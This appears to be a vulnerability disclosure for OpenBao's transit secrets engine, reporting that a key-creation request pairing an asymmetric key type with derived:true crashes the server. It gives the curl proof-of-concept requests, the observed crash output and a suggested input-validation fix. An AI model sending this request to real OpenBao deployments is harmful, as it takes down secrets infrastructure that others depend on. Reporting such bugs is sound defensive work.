OpenBao: Transit secrets engine crashes on key creation with `derived: true` for asymmetric key types

On OpenBao 2.5.4 and 2.5.2(and likely earlier versions also), an authenticated caller with write access to transit/keys/* can crash the OpenBao server by issuing a single key-creation request that combines an asymmetric type (rsa-*, ecdsa-*, ed25519) with derived: true. The server returns no HTTP response and the process terminates (exit code 2). This is a remote, low-complexity denial-of-service against the OpenBao server.

Mount the transit engine:

 `curl -sS -X POST -H "X-Vault-Token: root" \
   -d '{"type":"transit"}' \
   http://127.0.0.1:8200/v1/sys/mounts/transit`

Trigger the crash:

 `curl -sS -w '\nHTTP %{http_code}\n' -X POST \
   -H "X-Vault-Token: root" \
   -H "Content-Type: application/json" \
   -d '{"type":"rsa-2048","derived":true,"exportable":true,"deletion_allowed":false}' \
   http://127.0.0.1:8200/v1/transit/keys/some-key-name`

You can try with both JSON or HCL It will crash the entire cluster.

Observed: HTTP 000 curl: (52) Empty reply from server

 $ docker ps -a --filter name=openbao
 STATUS: Exited (2)

Root Cause (Hypothesis) Key-derivation paths in the transit engine appear to assume a symmetric key shape (a derivable key context). When derived: true is supplied alongside an asymmetric type, the creation path likely panics on a missing derived-key field or invalid type assertion rather than returning a structured validation error. Maintainers should confirm against the transit policy.go / key-creation path.

Suggested fix: Validate the (type, derived) combination at the top of the create-key handler. Reject with a 400 if derived: true is set on any non-symmetric type (i.e. anything other than aes128-gcm96, aes256-gcm96, chacha20-poly1305, xchacha20-poly1305). Do this before any code path that may panic on missing derived-key state.